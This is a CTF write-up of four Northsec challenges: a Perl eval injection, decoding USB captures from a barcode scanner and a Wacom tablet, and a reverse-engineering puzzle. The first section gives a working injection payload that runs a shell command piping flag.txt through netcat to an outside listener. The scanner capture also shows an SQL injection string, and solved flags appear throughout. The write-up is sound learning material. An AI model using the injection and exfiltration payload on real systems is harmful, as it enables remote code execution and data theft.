Northsec CTF
I was lucky enough to get to compete in the Northsec CTF this weekend with the cold_root team. We ended up placing 4th out of 88 teams. There was a ton of awesome (and maddening) challenges and plenty of Malört consumed. The challenges showed up on a fantasy themed forum:
Scammed Again
The first thing I did was go to the web page to find that it was a chat dialogue with an enchanter named…. Tim? I was hoping that this would include some Monthy Python trivia or perhaps an altercation with a foul and cruel creature with big pointy teeth.
Unfortunately fate would be more cruel. It was a Perl webserver for which we had some of the source code.
When you send a message to Tim a request is posted to the webserver:
{"msg": "yo dawg",
"censored_words": "Pleb|Dumb|Bespawler|Cumberworld|Fopdoodle|fustilugs|fustilarian"}
I'm not sure the point of letting a user control their own censored wordlist…
The the following method in the webserver code is the one that handles the user input. It is meant to taken the list of user censored words and censor the message the user sent:
sub run_wizzard_censorship {
my ($str, $pattern) = @_;
unless (exists $CACHED_PATTERNS{$pattern}) {
(my $escaped_pattern = $pattern) =~ s!([/\$\[\(\.])!\\$1!g;
$CACHED_PATTERNS{$pattern} = eval "sub { \$_[0] =~ s/($escaped_pattern)/\"*\"x (length \$1)/gie }" or croak $@;
}
$CACHED_PATTERNS{$pattern}->($str);
return $str;
}
I didn't know perl when I started this but any time I see a string being eval
'd I know I should start looking for injection. The line:
(my $escaped_pattern = $pattern) =~ s!([/\$\[\(\.])!\\$1!g;
was meant to escape any dangerous symbols from the censored_words
. It escapes the opening bracket/parenthesis but doesn't escape the closing bracket. But more importantly it doesn't ommit the \
character. This allows us to backslash our own input which will cause this to backslash our backslash and allow us to insert dangerous characters.
The next line was pretty difficult to understand for a perl newbie like myself:
eval "sub { \$_[0] =~ s/($escaped_pattern)/\"*\"x (length \$1)/gie }"
# Interprets the string as perl code:
eval "..."
# Defines a sub method
sub {...}
# Places the passed argument into the following regex
$_[0] =~ s/.../gie
# Inserts the patten from the previous line which is the "safe" version of the user passed censored_words
($escaped_pattern)
# Replaces the the matched strings with a number of *'s matching the length of the pased arguments
\"*\"x (length \$1)
# The arguments gie mean replace all case-insensitive occurences and treats the replacement section as perl code that should be evaluated
.../gie
It might not have been necessary to dig this deep into the code because we're going to disgreguard most of this line. The following payload allows us to get RCE:
{"msg": "cool", "censored_words": "wereall\/countingonyou\/g; `cat flag.txt | nc shell.ctf 1337`;} #"}
This closes the expression replacing wereall\
with countingonyou\
but that's not important right now. We then end the perl expression with ;
and run a command in the subshell with `cmd`
which in this case cat's the file in flag.txt to a netcat listener running on a server we own.
./askgod submit FLAG-46fee13ea855cd36bf6f0d52d9f7a72e Congratulations, you score your team 3 points!
Goldsmith's Guild Part 1
This was a PCAP containing a USB dump of what appears to be a barcode scanner.
The first challenge was identifying the name of the access card. This can be found by looking at the handshake between the usb device and host.
flag-card_EVHK0012
The next flag would require understanding what the data means. To understand how the data looks let's apply it as a column in Wireshark.
and export the data as a csv for analysis.
Thanks to TeamRocketIst for the KEYCODES dict I lifted from their Github page. I created this script which looks at the data and parses the bits that represent whether or not the shift key is pressed and the bits that represented the data. I figured this out by looking at the entropy of the different bytes in the data
KEY_CODES = {
0x04:['a', 'A'],
0x05:['b', 'B'],
...
0x52:[u'↑',u'↑']
}
def decode_keypress(keypress):
shift = False
if keypress[0:2] == "02":
shift = True
if keypress[4:6] == "00":
return None
if shift:
return KEY_CODES[int(keypress[4:6],16)][1]
else:
return KEY_CODES[int(keypress[4:6],16)][0]
a = pd.read_csv("~/wireshark_dump.csv")
# I added HID Data as a header manually
hid = a["HID Data"].apply(lambda x: x[2:])
keys = hid.apply(lambda x: decode_keypress(x))
print("".join(keys.dropna().to_list()))
Bingo:
sir alsaagha
sir ourives
');INSERT INTO GUILD_USERS VALUES(1337,'ZmxhZy1jYXJkX2ZhcmFkYXlfYmFja2Rvb3I=');--
flag-card_faraday_backdoor
sir yuveliry
sir oreficeria
What's the odd username used to breach into the guild? flag-card_faraday_backdoor
What's the name of the attack used to break into the guild? flag-card_sqlinjection
Goldsmiths' Guild Part 2
In this challenge we were presented with the same scenerio but a different device:
Flag 1 can be identified the same way as Goldsmiths' Part 1
flag-Wacom-CTE-440
Data is exported in the same way as well. I did a LOT of digging into the USB HID spec and was aided greatly by Scanlime's great video series on hacking the wacom.
Unfortunely I wasn't able to find anything that matched the 5 byte data stream present here. We were able to figure out that this was a Wacom tablet and we could look at how much entropy was in the different fields of the data:
I assumed that the bytes 3 & 4 were the byes that represented the x and y axis. Because this was a Wacom tablet I assumed these would be absolute values even though it didn't seem likely given that there would only be 256 x 256 possible points on the tablet.. but this also happened to be the easier version of the code to write so I tried that first.
No luck but this looks like we're on to something. The next attempt was to use the assumed X and Y values as relative values:
MUCH closer but still not quite readable. I applied some condition to use the binary field in the data assuming this was a pen on/off field. I also changed the icons from a bit dot to a smaller cross.
Bingo!
Here's the code used to analyze the data:
import pandas_bokeh
import pandas as pd
pandas_bokeh.output_notebook()
df = pd.read_csv("~/Downloads/autograph.csv")["HID Data"]
offset = 4
length = 4
class Plotter():
def __init__(self, x, y):
self.x = x
self.y = y
def updatexy(self, rel_x, rel_y, pressure):
self.x = self.x + rel_x
self.y = self.y + rel_y
if pressure:
return self.x, self.y
else:
return 0,0
p = Plotter(0, 0)
def get_x_y(hexbytes):
half = int(length/2)
x = int.from_bytes(bytes.fromhex(hexbytes[0:half]), byteorder='little', signed=True) * 20
y = -int.from_bytes(bytes.fromhex(hexbytes[half:length]), byteorder='little', signed=True)
return (x, y)
out = df.str[offset-1:offset+length].apply(lambda x:p.updatexy(*get_x_y(x[1:]), True) if x[0] == '1' else p.updatexy(*get_x_y(x[1:]), False))
xy = pd.DataFrame(out.to_list(), columns=["x", "y"])
xy.plot_bokeh.scatter(x="x", y="y", marker="cross")
/askgod submit flag-sir_mon3y_l4und3ring Congratulations, you score your team 4 points! Message: Strange password for a guild member. (Flags: 2/2)
YesWeHack
This challenge was to reverse engineer this algorithm:
import re
from functools import reduce
FLAG_REG = re.compile(r"^\d{0,16}9$")
KEY = 0xC3F80B633F90C6DE
OPS = [
lambda x: ([print(x), x][1]),
lambda x: x - ((KEY >> (x - 8 & 56) >> (x & 7) & 1 ^ 1) & x >> 3) * 8 & 56 | x & 7,
lambda x: x - ((KEY >> (x - 8 & 56) >> (x & 7) & 1 ^ 1) & ~x >> 3) * 8 & 56 | x & 7,
lambda x: x + ((KEY >> (x + 8 & 56) >> (x & 7) & 1 ^ 1) & x >> 3) * 8 & 56 | x & 7,
lambda x: x + ((KEY >> (x + 8 & 56) >> (x & 7) & 1 ^ 1) & ~x >> 3) * 8 & 56 | x & 7,
lambda x: x & 56 | x + ((KEY >> (x & 56) >> (x + 1 & 7) & 1 ^ 1) & ~x) & 7,
lambda x: x & 56 | x + ((KEY >> (x & 56) >> (x + 1 & 7) & 1 ^ 1) & x) & 7,
lambda x: x & 56 | x - ((KEY >> (x & 56) >> (x - 1 & 7) & 1 ^ 1) & ~x) & 7,
lambda x: x & 56 | x - ((KEY >> (x & 56) >> (x - 1 & 7) & 1 ^ 1) & x) & 7,
lambda x: ["Good flag!", "Bad flag!"][x > 1],
]
if __name__ == "__main__":
flag = input("FLAG-")
if not FLAG_REG.match(flag):
exit(1)
print(reduce(lambda x, c: OPS[c](x), (int(c) for c in flag), 48))
There's a couple of parts to this that were important to understand. This let us know our key is going to be 0-16 digits and end with a 9
FLAG_REG = re.compile(r"^\d{0,16}9$")
This function shows us that the key is derived by taking each digit in the user input and calling the function associated on that data on whatever number is in the accumulator (which starts with a seed of 48)
reduce(lambda x, c: OPS[c](x), (int(c) for c in flag), 48)
Most of the functions are really intimidating but we actually don't even need to think about what the binary math means. We can just look at the results of their execution. There are two functions here that are interesting though:
The function at index 0 prints the value in 0 and returns the same value. This means we can safely assume 0 is not in our key.
lambda x: ([print(x), x][1]) # index 0
The function at index 9 is the function that validates whether or not our key is good. This is why the regex for a valid flag ends with 9. So we can once again assume 9 is not in the key execpt in the last position. We also know from this the key is valid if the result calling it against the anonymous functions ends up being 0 or less.
lambda x: ["Good flag!", "Bad flag!"][x > 1] # index 9
There's 281,474,976,710,656
possible keys here. This means brute forcing is probably not going to be the best way to go about this (still started it running in the background in the off chance the computer could figure it out faster than I could).
What I did was first try to establish what the maximum and minimum values could be a results of calling the functions.
import pandas as pd
def rangefinder(func):
acc = []
for i in range(-1000,1000):
acc.append((i, func(i)))
df = pd.DataFrame(acc, columns=["x", "fx"])
return df
for func in OPS[1:-1]:
out = rangefinder(func)
print(f"""min: {out["fx"].min()} max: {out["fx"].max()}""" )
min: 0 max: 63
min: 0 max: 63
min: 0 max: 63
min: 1 max: 63
min: 0 max: 63
min: 0 max: 63
min: 0 max: 63
min: 0 max: 63
I then wrote a function to solve for the values 1-64
for all functions of the functions:
(0 was ommited. There was no reason to solve for 0 since when it reaches 0 that will be the last number before 9)
def solver(number):
"""
return is (function, input) where function(input) = number
"""
pos = []
for i, op in enumerate(OPS[0:-1]):
values = [x for x in range(1,64) if op(x) == number and x != number]
if values != []:
pos.append((i, values[0]))
return pos
res = {}
for i in range(0,63):
res[i] = solver(i)
from pprint import pprint
pprint(res)
This is the results of calling the functions and their returned results. This does not include values where f(x) = x since the goal of this is to find a way to thread 48 through these functions to yield 0.
{0: [(1, 8), (3, 56), (6, 7), (8, 1)],
1: [],
2: [],
3: [],
4: [],
5: [(1, 13), (3, 61), (5, 4), (7, 6)],
6: [],
7: [],
8: [(2, 16), (6, 15), (8, 9)],
9: [],
10: [],
11: [(2, 19), (4, 3), (5, 10), (7, 12)],
12: [(2, 20), (4, 4), (6, 11), (8, 13)],
13: [(2, 21), (4, 5), (5, 12), (7, 14)],
14: [],
15: [],
16: [(1, 24), (3, 8), (6, 23), (8, 17)],
17: [(1, 25), (3, 9), (5, 16), (7, 18)],
18: [(1, 26), (3, 10), (6, 17), (8, 19)],
19: [(1, 27), (3, 11), (5, 18), (7, 20)],
20: [],
21: [(1, 29), (3, 13), (5, 20), (7, 22)],
22: [(1, 30), (3, 14), (6, 21), (8, 23)],
23: [],
24: [],
25: [],
26: [],
27: [],
28: [],
29: [],
30: [(2, 38), (4, 22), (6, 29), (8, 31)],
31: [(2, 39), (4, 23), (5, 30), (7, 24)],
32: [],
33: [],
34: [(1, 42), (3, 26), (6, 33), (8, 35)],
35: [(1, 43), (3, 27), (5, 34), (7, 36)],
36: [(1, 44), (3, 28), (6, 35), (8, 37)],
37: [],
38: [],
39: [(1, 47), (3, 31), (5, 38), (7, 32)],
40: [],
41: [],
42: [(2, 50), (4, 34), (6, 41), (8, 43)],
43: [],
44: [(2, 52), (4, 36), (6, 43), (8, 45)],
45: [(2, 53), (4, 37), (5, 44), (7, 46)],
46: [(2, 54), (4, 38), (6, 45), (8, 47)],
47: [(2, 55), (4, 39), (5, 46), (7, 40)],
48: [(1, 56), (3, 40), (6, 55), (8, 49)],
49: [(1, 57), (3, 41), (5, 48), (7, 50)],
50: [(1, 58), (3, 42), (6, 49), (8, 51)],
51: [],
52: [],
53: [],
54: [],
55: [],
56: [],
57: [],
58: [(2, 2), (4, 50), (6, 57), (8, 59)],
59: [(2, 3), (4, 51), (5, 58), (7, 60)],
60: [(2, 4), (4, 52), (6, 59), (8, 61)],
61: [(2, 5), (4, 53), (5, 60), (7, 62)],
62: []}
At this point I tried to write some recursive functions to actually find the path from 48 to 0 but i'll be 100% honest. I was brutally exhausted and the fastest way for me to solve this was to just follow the numbers manually. The path from 48 to 0 required the values:
[48,49,50,58,59,60,61,5,13,12,11,19,18,17,16,8,0]
which translated to the path
res = [5, 6, 4, 5, 6, 5, 3, 4, 8, 7, 3, 8, 7, 8, 2, 1]
and the key
FLAG-56456534873878219